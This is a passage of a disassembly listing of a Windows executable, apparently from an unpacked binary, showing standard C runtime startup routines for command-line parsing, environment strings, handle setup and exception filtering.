		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_4232F8
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_423367
		push	edi
		push	edi
		jmp	short loc_42336D
; ---------------------------------------------------------------------------


loc_423367:				; CODE XREF: sub_42316A+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_42336D:				; CODE XREF: sub_42316A+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_42818C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_4232F8


loc_423387:				; CODE XREF: sub_42316A+165j
					; sub_42316A+188j
		mov	eax, esi
		jmp	loc_4232FA
sub_42316A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42338E	proc near		; CODE XREF: sub_42316A+81p
					; sub_4265D3+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4233AB


loc_42339E:				; CODE XREF: sub_42338E+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4233AB
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_42339E


loc_4233AB:				; CODE XREF: sub_42338E+Ej
					; sub_42338E+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4233B6
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4233B6:				; CODE XREF: sub_42338E+21j
		mov	eax, edx
		retn
sub_42338E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233B9	proc near		; CODE XREF: sub_41DFD3+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_4234FA
		test	eax, eax
		pop	ecx
		jz	loc_4234EE
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_4234EE
		cmp	ebx, 5
		jnz	short loc_4233EA
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_4234F7
; ---------------------------------------------------------------------------


loc_4233EA:				; CODE XREF: sub_4233B9+23j
		cmp	ebx, 1
		jz	loc_4234E9
		mov	ecx, dword_4DE6A0
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DE6A0, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_4234D9
		mov	ecx, dword_43FC60
		mov	edx, dword_43FC64
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423439
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43FBF0h[esi*4]


loc_423430:				; CODE XREF: sub_4233B9+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_423430


loc_423439:				; CODE XREF: sub_4233B9+69j
		mov	eax, [eax]
		mov	esi, dword_43FC6C
		cmp	eax, 0C000008Eh
		jnz	short loc_423454
		mov	dword_43FC6C, 83h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_423454:				; CODE XREF: sub_4233B9+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_423467
		mov	dword_43FC6C, 81h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_423467:				; CODE XREF: sub_4233B9+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_42347A
		mov	dword_43FC6C, 84h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_42347A:				; CODE XREF: sub_4233B9+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_42348D
		mov	dword_43FC6C, 85h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_42348D:				; CODE XREF: sub_4233B9+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4234A0
		mov	dword_43FC6C, 82h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_4234A0:				; CODE XREF: sub_4233B9+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_4234B3
		mov	dword_43FC6C, 86h
		jmp	short loc_4234C4
; ---------------------------------------------------------------------------


loc_4234B3:				; CODE XREF: sub_4233B9+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_4234C4
		mov	dword_43FC6C, 8Ah


loc_4234C4:				; CODE XREF: sub_4233B9+99j
					; sub_4233B9+ACj ...
		push	dword_43FC6C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43FC6C, esi
		pop	ecx
		pop	esi
		jmp	short loc_4234E1
; ---------------------------------------------------------------------------


loc_4234D9:				; CODE XREF: sub_4233B9+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_4234E1:				; CODE XREF: sub_4233B9+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DE6A0, eax


loc_4234E9:				; CODE XREF: sub_4233B9+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4234F7
; ---------------------------------------------------------------------------


loc_4234EE:				; CODE XREF: sub_4233B9+Fj
					; sub_4233B9+1Aj
		push	[ebp+arg_4]
		call	dword_42804C	; UnhandledExceptionFilter


loc_4234F7:				; CODE XREF: sub_4233B9+2Cj
					; sub_4233B9+133j
		pop	ebx
		pop	ebp
		retn
sub_4233B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234FA	proc near		; CODE XREF: sub_4233B9+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43FC68
		cmp	dword_43FBE8, edx
		push	esi
		mov	eax, offset dword_43FBE8
		jz	short loc_423527
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43FBE8h[esi*4]


loc_42351C:				; CODE XREF: sub_4234FA+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423527
		cmp	[eax], edx
		jnz	short loc_42351C


loc_423527:				; CODE XREF: sub_4234FA+16j
					; sub_4234FA+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43FBE8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_42353A
		cmp	[eax], edx
		jz	short locret_42353C


loc_42353A:				; CODE XREF: sub_4234FA+3Aj
		xor	eax, eax

locret_42353C:				; CODE XREF: sub_4234FA+3Ej
		retn
sub_4234FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_42353D	proc near		; CODE XREF: sub_41DFD3+A5p
		cmp	dword_4DFC74, 0
		jnz	short loc_42354B
		call	sub_42090D


loc_42354B:				; CODE XREF: sub_42353D+7j
		push	esi
		mov	esi, dword_4DFC6C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_42357D


loc_423558:				; CODE XREF: sub_42353D+33j
					; sub_42353D+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_423575
		test	al, al
		jz	short loc_423575
		movzx	eax, al
		push	eax
		call	sub_425406
		test	eax, eax
		pop	ecx
		jz	short loc_423558
		inc	esi
		jmp	short loc_423558
; ---------------------------------------------------------------------------


loc_423575:				; CODE XREF: sub_42353D+21j
					; sub_42353D+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_423587


loc_42357A:				; CODE XREF: sub_42353D+52j
		inc	esi
		jmp	short loc_423587
; ---------------------------------------------------------------------------


loc_42357D:				; CODE XREF: sub_42353D+19j
		cmp	al, 20h
		jbe	short loc_423587


loc_423581:				; CODE XREF: sub_42353D+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_423581


loc_423587:				; CODE XREF: sub_42353D+3Bj
					; sub_42353D+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_423591
		cmp	al, 20h
		jbe	short loc_42357A


loc_423591:				; CODE XREF: sub_42353D+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_42353D	endp


; =============== S U B	R O U T	I N E =======================================



sub_423595	proc near		; CODE XREF: sub_41DFD3+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DFC74, ebx
		push	esi
		push	edi
		jnz	short loc_4235A7
		call	sub_42090D


loc_4235A7:				; CODE XREF: sub_423595+Bj
		mov	esi, dword_4DE638
		xor	edi, edi


loc_4235AF:				; CODE XREF: sub_423595+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4235C7
		cmp	al, 3Dh
		jz	short loc_4235BA
		inc	edi


loc_4235BA:				; CODE XREF: sub_423595+22j
		push	esi
		call	sub_41B650
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4235AF
; ---------------------------------------------------------------------------


loc_4235C7:				; CODE XREF: sub_423595+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DE5EC, esi
		jnz	short loc_4235E9
		push	9
		call	sub_41E0C9
		pop	ecx


loc_4235E9:				; CODE XREF: sub_423595+4Aj
		mov	edi, dword_4DE638
		cmp	[edi], bl
		jz	short loc_42362C
		push	ebp


loc_4235F4:				; CODE XREF: sub_423595+94j
		push	edi
		call	sub_41B650
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423625
		push	ebp
		call	sub_41BB45
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423618
		push	9
		call	sub_41E0C9
		pop	ecx


loc_423618:				; CODE XREF: sub_423595+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C520
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423625:				; CODE XREF: sub_423595+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_4235F4
		pop	ebp


loc_42362C:				; CODE XREF: sub_423595+5Cj
		push	dword_4DE638
		call	sub_41B721
		pop	ecx
		mov	dword_4DE638, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DFC70, 1
		pop	ebx
		retn
sub_423595	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42364E	proc near		; CODE XREF: sub_41DFD3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DFC74, ebx
		push	esi
		push	edi
		jnz	short loc_423665
		call	sub_42090D


loc_423665:				; CODE XREF: sub_42364E+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_428078	; GetModuleFileNameA
		mov	eax, dword_4DFC6C
		mov	off_4DE5FC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_42368A
		mov	edi, eax


loc_42368A:				; CODE XREF: sub_42364E+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_4236E7
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BB45
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4236BA
		push	8
		call	sub_41E0C9
		pop	ecx


loc_4236BA:				; CODE XREF: sub_42364E+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_4236E7
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DE5E4, esi
		pop	edi
		pop	esi
		mov	dword_4DE5E0, eax
		pop	ebx
		leave
		retn
sub_42364E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4236E7	proc near		; CODE XREF: sub_42364E+47p
					; sub_42364E+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423711
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423711:				; CODE XREF: sub_4236E7+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42375A


loc_423716:				; CODE XREF: sub_4236E7+58j
					; sub_4236E7+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423748
		test	dl, dl
		jz	short loc_423748
		movzx	edx, dl
		test	byte_4DFB41[edx], 4
		jz	short loc_42373B
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42373B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_42373B:				; CODE XREF: sub_4236E7+46j
					; sub_4236E7+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423716
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423716
; ---------------------------------------------------------------------------


loc_423748:				; CODE XREF: sub_4236E7+36j
					; sub_4236E7+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423752
		and	byte ptr [esi],	0
		inc	esi


loc_423752:				; CODE XREF: sub_4236E7+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42379D
		inc	eax
		jmp	short loc_42379D
; ---------------------------------------------------------------------------


loc_42375A:				; CODE XREF: sub_4236E7+2Dj
					; sub_4236E7+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423765
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_423765:				; CODE XREF: sub_4236E7+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DFB41[ebx], 4
		jz	short loc_423780
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42377F
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_42377F:				; CODE XREF: sub_4236E7+91j
		inc	eax


loc_423780:				; CODE XREF: sub_4236E7+8Bj
		cmp	dl, 20h
		jz	short loc_42378E
		test	dl, dl
		jz	short loc_423792
		cmp	dl, 9
		jnz	short loc_42375A


loc_42378E:				; CODE XREF: sub_4236E7+9Cj
		test	dl, dl
		jnz	short loc_423795


loc_423792:				; CODE XREF: sub_4236E7+A0j
		dec	eax
		jmp	short loc_42379D
; ---------------------------------------------------------------------------


loc_423795:				; CODE XREF: sub_4236E7+A9j
		test	esi, esi
		jz	short loc_42379D
		and	byte ptr [esi-1], 0


loc_42379D:				; CODE XREF: sub_4236E7+6Ej
					; sub_4236E7+71j ...
		and	[ebp+arg_10], 0


loc_4237A1:				; CODE XREF: sub_4236E7+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_42388A


loc_4237AA:				; CODE XREF: sub_4236E7+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4237B6
		cmp	dl, 9
		jnz	short loc_4237B9


loc_4237B6:				; CODE XREF: sub_4236E7+C8j
		inc	eax
		jmp	short loc_4237AA
; ---------------------------------------------------------------------------


loc_4237B9:				; CODE XREF: sub_4236E7+CDj
		cmp	byte ptr [eax],	0
		jz	loc_42388A
		test	edi, edi
		jz	short loc_4237CE
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4237CE:				; CODE XREF: sub_4236E7+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_4237D3:				; CODE XREF: sub_4236E7+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_4237DC:				; CODE XREF: sub_4236E7+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4237E5
		inc	eax
		inc	ebx
		jmp	short loc_4237DC
; ---------------------------------------------------------------------------


loc_4237E5:				; CODE XREF: sub_4236E7+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423816
		test	bl, 1
		jnz	short loc_423814
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423803
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423803
		mov	eax, edx
		jmp	short loc_423806
; ---------------------------------------------------------------------------


loc_423803:				; CODE XREF: sub_4236E7+10Dj
					; sub_4236E7+116j
		mov	[ebp+arg_0], edi


loc_423806:				; CODE XREF: sub_4236E7+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423814:				; CODE XREF: sub_4236E7+106j
		shr	ebx, 1


loc_423816:				; CODE XREF: sub_4236E7+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_42382B
		inc	ebx


loc_42381E:				; CODE XREF: sub_4236E7+142j
		test	esi, esi
		jz	short loc_423826
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423826:				; CODE XREF: sub_4236E7+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42381E


loc_42382B:				; CODE XREF: sub_4236E7+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_42387B
		cmp	[ebp+arg_10], 0
		jnz	short loc_423841
		cmp	dl, 20h
		jz	short loc_42387B
		cmp	dl, 9
		jz	short loc_42387B


loc_423841:				; CODE XREF: sub_4236E7+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_423875
		test	esi, esi
		jz	short loc_423864
		movzx	ebx, dl
		test	byte_4DFB41[ebx], 4
		jz	short loc_42385D
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42385D:				; CODE XREF: sub_4236E7+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423873
; ---------------------------------------------------------------------------


loc_423864:				; CODE XREF: sub_4236E7+162j
		movzx	edx, dl
		test	byte_4DFB41[edx], 4
		jz	short loc_423873
		inc	eax
		inc	dword ptr [ecx]


loc_423873:				; CODE XREF: sub_4236E7+17Bj
					; sub_4236E7+187j
		inc	dword ptr [ecx]


loc_423875:				; CODE XREF: sub_4236E7+15Ej
		inc	eax
		jmp	loc_4237D3
; ---------------------------------------------------------------------------


loc_42387B:				; CODE XREF: sub_4236E7+148j
					; sub_4236E7+153j ...
		test	esi, esi
		jz	short loc_423883
		and	byte ptr [esi],	0
		inc	esi


loc_423883:				; CODE XREF: sub_4236E7+196j
		inc	dword ptr [ecx]
		jmp	loc_4237A1
; ---------------------------------------------------------------------------


loc_42388A:				; CODE XREF: sub_4236E7+BDj
					; sub_4236E7+D5j
		test	edi, edi
		jz	short loc_423891
		and	dword ptr [edi], 0


loc_423891:				; CODE XREF: sub_4236E7+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4236E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42389B	proc near		; CODE XREF: sub_41DFD3+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DE7A8
		push	ebx
		push	ebp
		mov	ebp, dword_42803C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4238E9
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4238CA
		mov	dword_4DE7A8, 1
		jmp	short loc_4238F2
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_42389B+21j
		call	dword_428040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4239C4
		mov	dword_4DE7A8, 2
		jmp	loc_423978
; ---------------------------------------------------------------------------


loc_4238E9:				; CODE XREF: sub_42389B+19j
		cmp	eax, 1
		jnz	loc_423973


loc_4238F2:				; CODE XREF: sub_42389B+2Dj
		cmp	esi, ebx
		jnz	short loc_423902
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4239C4


loc_423902:				; CODE XREF: sub_42389B+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423917


loc_423909:				; CODE XREF: sub_42389B+73j
					; sub_42389B+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423909
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423909


loc_423917:				; CODE XREF: sub_42389B+6Cj
		sub	eax, esi
		mov	edi, dword_42818C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423968
		push	ebp
		call	sub_41BB45
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_423968
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_423964
		push	[esp+18h+var_8]
		call	sub_41B721
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_423964:				; CODE XREF: sub_42389B+B9j
		mov	ebx, [esp+18h+var_8]


loc_423968:				; CODE XREF: sub_42389B+99j
					; sub_42389B+A8j
		push	esi
		call	dword_428044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4239C6
; ---------------------------------------------------------------------------


loc_423973:				; CODE XREF: sub_42389B+51j
		cmp	eax, 2
		jnz	short loc_4239C4


loc_423978:				; CODE XREF: sub_42389B+49j
		cmp	edi, ebx
		jnz	short loc_423988
		call	dword_428040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4239C4


loc_423988:				; CODE XREF: sub_42389B+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423998


loc_42398E:				; CODE XREF: sub_42389B+F6j
					; sub_42389B+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42398E
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42398E


loc_423998:				; CODE XREF: sub_42389B+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4239AE
		xor	esi, esi
		jmp	short loc_4239B9
; ---------------------------------------------------------------------------


loc_4239AE:				; CODE XREF: sub_42389B+10Dj
		push	ebp
		push	edi
		push	esi
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_4239B9:				; CODE XREF: sub_42389B+111j
		push	edi
		call	dword_428048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4239C6
; ---------------------------------------------------------------------------


loc_4239C4:				; CODE XREF: sub_42389B+39j
					; sub_42389B+61j ...
		xor	eax, eax


loc_4239C6:				; CODE XREF: sub_42389B+D6j
					; sub_42389B+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_42389B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239CD	proc near		; CODE XREF: sub_41DFD3+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4239ED
		push	1Bh
		call	sub_41E0C9
		pop	ecx


loc_4239ED:				; CODE XREF: sub_4239CD+16j
		mov	dword_4DF920, esi
		mov	dword_4DFA20, 20h
		lea	eax, [esi+100h]


loc_423A03:				; CODE XREF: sub_4239CD+52j
		cmp	esi, eax
		jnb	short loc_423A21
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DF920
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423A03
; ---------------------------------------------------------------------------


loc_423A21:				; CODE XREF: sub_4239CD+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4281B4	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_423AFD
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_423AFD
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423A57
		mov	esi, eax


loc_423A57:				; CODE XREF: sub_4239CD+86j
		cmp	dword_4DFA20, esi
		jge	short loc_423AB1
		mov	edi, offset dword_4DF924


loc_423A64:				; CODE XREF: sub_4239CD+DAj
		push	100h
		call	sub_41BB45
		test	eax, eax
		pop	ecx
		jz	short loc_423AAB
		add	dword_4DFA20, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423A82:				; CODE XREF: sub_4239CD+CFj
		cmp	eax, ecx
		jnb	short loc_423A9E
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423A82
; ---------------------------------------------------------------------------


loc_423A9E:				; CODE XREF: sub_4239CD+B7j
		add	edi, 4
		cmp	dword_4DFA20, esi
		jl	short loc_423A64
		jmp	short loc_423AB1
; ---------------------------------------------------------------------------


loc_423AAB:				; CODE XREF: sub_4239CD+A4j
		mov	esi, dword_4DFA20


loc_423AB1:				; CODE XREF: sub_4239CD+90j
					; sub_4239CD+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423AFD


loc_423AB7:				; CODE XREF: sub_4239CD+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423AF4
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423AF4
		test	cl, 8
		jnz	short loc_423AD6
		push	eax
		call	dword_428030	; GetFileType
		test	eax, eax
		jz	short loc_423AF4


loc_423AD6:				; CODE XREF: sub_4239CD+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DF920[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423AF4:				; CODE XREF: sub_4239CD+EFj
					; sub_4239CD+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423AB7


loc_423AFD:				; CODE XREF: sub_4239CD+65j
					; sub_4239CD+71j ...
		xor	ebx, ebx


loc_423AFF:				; CODE XREF: sub_4239CD+195j
		mov	eax, dword_4DF920
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423B5A
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423B1A
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423B24
; ---------------------------------------------------------------------------


loc_423B1A:				; CODE XREF: sub_4239CD+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423B24:				; CODE XREF: sub_4239CD+14Bj
		push	eax
		call	dword_428034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423B49
		push	edi
		call	dword_428030	; GetFileType
		test	eax, eax
		jz	short loc_423B49
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423B4F


loc_423B49:				; CODE XREF: sub_4239CD+163j
					; sub_4239CD+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_423B5E
; ---------------------------------------------------------------------------


loc_423B4F:				; CODE XREF: sub_4239CD+17Aj
		cmp	eax, 3
		jnz	short loc_423B5E
		or	byte ptr [esi+4], 8
		jmp	short loc_423B5E
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_4239CD+13Ej
		or	byte ptr [esi+4], 80h


loc_423B5E:				; CODE XREF: sub_4239CD+180j
					; sub_4239CD+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423AFF
		push	dword_4DFA20
		call	dword_428038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4239CD	endp

; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B80	proc near		; DATA XREF: sub_41DFD3+Ao
					; sub_4226FD+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423C20
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423BB3:				; CODE XREF: sub_423B80+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423C19
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423C07
		push	esi
